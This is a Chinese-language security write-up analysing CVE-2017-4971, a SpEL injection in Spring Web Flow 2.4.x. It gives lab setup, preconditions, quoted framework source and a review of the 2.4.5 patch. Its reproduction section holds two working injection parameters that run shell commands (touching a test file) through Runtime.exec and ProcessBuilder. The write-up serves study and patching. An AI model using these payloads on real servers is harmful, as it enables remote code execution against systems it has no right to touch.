0x01 Spring Web Flow

Spring Web Flow是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来,其最主要的目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题。

具体更多的简介可参考IBM的文章:Spring Web Flow 2.0 入门

0x02 CVE-2017-4971

在Spring Web Flow 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本

  • Spring Web Flow 2.4.0 ~ 2.4.4
  • 一些老的不再支持的版本也受影响

环境搭建

参考Vulapps的环境(Vulhub的环境在下载时老不成功):

http://vulapps.evalbug.com/s_springwebflow_1/

前提条件

  • 在Web Flow配置文件中view-state节点中指定了model属性,并且没有指定绑定的参数,即view-state中没有配置binder节点;
  • MvcViewFactoryCreator类中useSpringBeanBinding默认值(false)未修改;

漏洞复现

先访问/login的接口登录进去,然后随便选择一家酒店点击Book来预订,最后点击Confirm确认,同时用Burp拦截这个Confirm报文,在POST的请求内容中添加如下PoC参数:

1
2
3
&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/mi1k7ea")

&_(new java.lang.ProcessBuilder("bash","-c","touch /tmp/mi1k7ea")).start()

此时后台就能看到SpEL表达式注入漏洞被成功触发了:

漏洞分析

这里就不逐步调试分析了,只从补丁处开始做简单的漏洞点分析。

代码路径:https://github.com/spring-projects/spring-webflow/blob/v2.4.4.RELEASE/spring-webflow/src/main/java/org/springframework/webflow/mvc/view/AbstractMvcView.java

漏洞点位于AbstractMvcView类的addEmptyValueMapping()函数,这里ExpressionParser.parseExpression()函数是用于执行传入的第一个参数field的SpEL表达式,即关键在于addEmptyValueMapping()函数第二个参数field是否外部可控:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* Adds a special {@link DefaultMapping} that results in setting the target field on the model to an empty value
* (typically null).
*
* @param mapper the mapper to add the mapping to
* @param field the field for which a mapping is to be added
* @param model the model
*/
protected void addEmptyValueMapping(DefaultMapper mapper, String field, Object model) {
ParserContext parserContext = new FluentParserContext().evaluate(model.getClass());
Expression target = expressionParser.parseExpression(field, parserContext);
try {
Class<?> propertyType = target.getValueType(model);
Expression source = new StaticExpression(getEmptyValue(propertyType));
DefaultMapping mapping = new DefaultMapping(source, target);
if (logger.isDebugEnabled()) {
logger.debug("Adding empty value mapping for parameter '" + field + "'");
}
mapper.addMapping(mapping);
} catch (EvaluationException e) {
}
}

调用addEmptyValueMapping()的函数有两个,都在AbstractMvcView类中,分别为addModelBindings()和addDefaultMappings():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
protected void addDefaultMappings(DefaultMapper mapper, Set<String> parameterNames, Object model) {
for (String parameterName : parameterNames) {
if (fieldMarkerPrefix != null && parameterName.startsWith(fieldMarkerPrefix)) {
String field = parameterName.substring(fieldMarkerPrefix.length());
if (!parameterNames.contains(field)) {
addEmptyValueMapping(mapper, field, model);
}
} else {
addDefaultMapping(mapper, parameterName, model);
}
}
}

protected void addModelBindings(DefaultMapper mapper, Set<String> parameterNames, Object model) {
for (Binding binding : binderConfiguration.getBindings()) {
String parameterName = binding.getProperty();
if (parameterNames.contains(parameterName)) {
addMapping(mapper, binding, model);
} else {
if (fieldMarkerPrefix != null && parameterNames.contains(fieldMarkerPrefix + parameterName)) {
addEmptyValueMapping(mapper, parameterName, model);
}
}
}
}

可以看到,这两个函数都调用了存在缺陷的函数,那么我们看看哪个函数才能实际控制field参数。

这里比较明显的区别就是 addModelBindings 函数中 for (Binding binding : binderConfiguration.getBindings()) 存在这样一个循环,而且就是这个循环的控制决定了 field 参数的值,经过进一步分析,这里控制 field 的参数的决定性因素就是 binderConfiguration 这个变量所控制的值,这里经过源码的跟踪我们可以发现,binderConfiguration 函数的值就是 webflow-*.xml 中 view-state 中 binder 节点的配置,所以这个函数的值来源于配置文件,所以这个函数我们无法控制,从而无法触发漏洞,所以我们重点来看看 addDefaultMappings 这个函数,我们发现 addDefaultMappings 中我们可以控制 field 参数,所以我们重点来看看如何去触发这个函数。

而同文件中的bind()函数是根据binderConfiguration值是否为null来区分调用这两个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
protected MappingResults bind(Object model) {
if (logger.isDebugEnabled()) {
logger.debug("Binding to model");
}
DefaultMapper mapper = new DefaultMapper();
ParameterMap requestParameters = requestContext.getRequestParameters();
if (binderConfiguration != null) {
addModelBindings(mapper, requestParameters.asMap().keySet(), model);
} else {
addDefaultMappings(mapper, requestParameters.asMap().keySet(), model);
}
return mapper.map(requestParameters, model);
}

这里看到当binderConfiguration值为null时才会调用漏洞函数addDefaultMappings(),这也是前提条件之一,在接下来会将原因。

最终,我们可以得到如下几个关键函数调用链:

1
bind()->addDefaultMappings()->addEmptyValueMapping()->parseExpression()

必须view-state中未配置binder节点的原因

我们看到bind()函数的源码,在spring-webflow/src/main/java/org/springframework/webflow/mvc/view/AbstractMvcView类中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* <p>
* Causes the model to be populated from information contained in request parameters.
* </p>
* <p>
* If a view has binding configuration then only model fields specified in the binding configuration will be
* considered. In the absence of binding configuration all request parameters will be used to update matching fields
* on the model.
* </p>
*
* @param model the model to be updated
* @return an instance of MappingResults with information about the results of the binding.
*/
protected MappingResults bind(Object model) {
if (logger.isDebugEnabled()) {
logger.debug("Binding to model");
}
DefaultMapper mapper = new DefaultMapper();
ParameterMap requestParameters = requestContext.getRequestParameters();
if (binderConfiguration != null) {
addModelBindings(mapper, requestParameters.asMap().keySet(), model);
} else {
addDefaultMappings(mapper, requestParameters.asMap().keySet(), model);
}
return mapper.map(requestParameters, model);
}

这里有个if判断语句,条件是判断binderConfiguration是否为null。这里只有binderConfiguration为null时,才会进入后面调用存在漏洞的addDefaultMappings()函数的代码逻辑。而binderConfiguration的值是由配置文件中是否有binder节点来控制的。

看到spring-webflow/src/main/java/org/springframework/webflow/engine/model/builder/xml/XmlFlowModelBuilder类中相关的函数定义,其中parseState()函数用于解析节点,当判断到view-state节点后就调用parseViewState()函数作进一步解析处理,其中调用parseBinder()函数来获取binder字节的内容并设置到binder中,当不存在binder节点时直接返回null:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private AbstractStateModel parseState(Element element) {
if (DomUtils.nodeNameEquals(element, "view-state")) {
return parseViewState(element);
}
...
}

private ViewStateModel parseViewState(Element element) {
ViewStateModel state = new ViewStateModel(element.getAttribute("id"));
...
state.setBinder(parseBinder(element));
...
return state;
}

private BinderModel parseBinder(Element element) {
Element binderElement = DomUtils.getChildElementByTagName(element, "binder");
if (binderElement != null) {
BinderModel binder = new BinderModel();
binder.setBindings(parseBindings(binderElement));
return binder;
} else {
return null;
}
}

上述代码中没找到binder节点后就会返回null,之后binderConfiguration的值就被设置为了null。

必须useSpringBeanBinding默认值(false)未修改的原因

为啥前提条件要useSpringBeanBinding为默认值false即未修改过?

查看spring-webflow/src/main/java/org/springframework/webflow/mvc/builder/MvcViewFactoryCreator类的createViewFactory()函数,看到如果useSpringBeanBinding这个属性为false则使用默认的解析类,如果这个值为true则使用BeanWrapperExpressionParser类来解析,而该类是无法执行SpEL表达式的(具体可看补丁分析):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public ViewFactory createViewFactory(Expression viewId, ExpressionParser expressionParser,
ConversionService conversionService, BinderConfiguration binderConfiguration,
Validator validator, ValidationHintResolver validationHintResolver) {
if (useSpringBeanBinding) {
expressionParser = new BeanWrapperExpressionParser(conversionService);
}
AbstractMvcViewFactory viewFactory = createMvcViewFactory(viewId, expressionParser, conversionService,
binderConfiguration);
if (StringUtils.hasText(eventIdParameterName)) {
viewFactory.setEventIdParameterName(eventIdParameterName);
}
if (StringUtils.hasText(fieldMarkerPrefix)) {
viewFactory.setFieldMarkerPrefix(fieldMarkerPrefix);
}
viewFactory.setValidator(validator);
viewFactory.setValidationHintResolver(validationHintResolver);
return viewFactory;
}

补丁分析

查看官方在Spring Web Flow 2.4.5 版本中的补丁是怎么写的:https://github.com/spring-projects/spring-webflow/commit/57f2ccb66946943fbf3b3f2165eac1c8eb6b1523#diff-d9efeba3700c0135e224911fadb39795

直接将ExpressionParser设置为BeanWrapperExpressionParser对象的实例,默认是执行不了表达式的。

查看BeanWrapperExpressionParser的源码:https://github.com/spring-projects/spring-webflow/blob/v2.4.5.RELEASE/spring-binding/src/main/java/org/springframework/binding/expression/beanwrapper/BeanWrapperExpressionParser.java

其中的parseExpression()函数是直接继承的spring-webflow/spring-binding/src/main/java/org/springframework/binding/expression/support/AbstractExpressionParser类的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// expression parser

public Expression parseExpression(String expressionString, ParserContext context) throws ParserException {
Assert.notNull(expressionString, "The expression string to parse is required");
if (context == null) {
context = NullParserContext.INSTANCE;
}
if (context.isTemplate()) {
return parseTemplate(expressionString, context);
} else {
if (expressionString.startsWith(getExpressionPrefix()) && expressionString.endsWith(getExpressionSuffix())) {
if (!allowDelimitedEvalExpressions) {
throw new ParserException(
expressionString,
"The expression '"
+ expressionString
+ "' being parsed is expected be a standard OGNL expression. Do not attempt to enclose such expression strings in ${} delimiters--this is redundant. If you need to parse a template that mixes literal text with evaluatable blocks, set the 'template' parser context attribute to true.",
null);
} else {
int lastIndex = expressionString.length() - getExpressionSuffix().length();
String ognlExpression = expressionString.substring(getExpressionPrefix().length(), lastIndex);
return doParseExpression(ognlExpression, context);
}
} else {
return doParseExpression(expressionString, context);
}
}
}

注意,这里if判断条件的allowDelimitedEvalExpressions,这个默认值是false,因此默认是不能进入里面的代码逻辑、也就执行不了表达式了。

0x03 参考

Spring Web Flow 远程代码执行漏洞分析(CVE-2017-4971)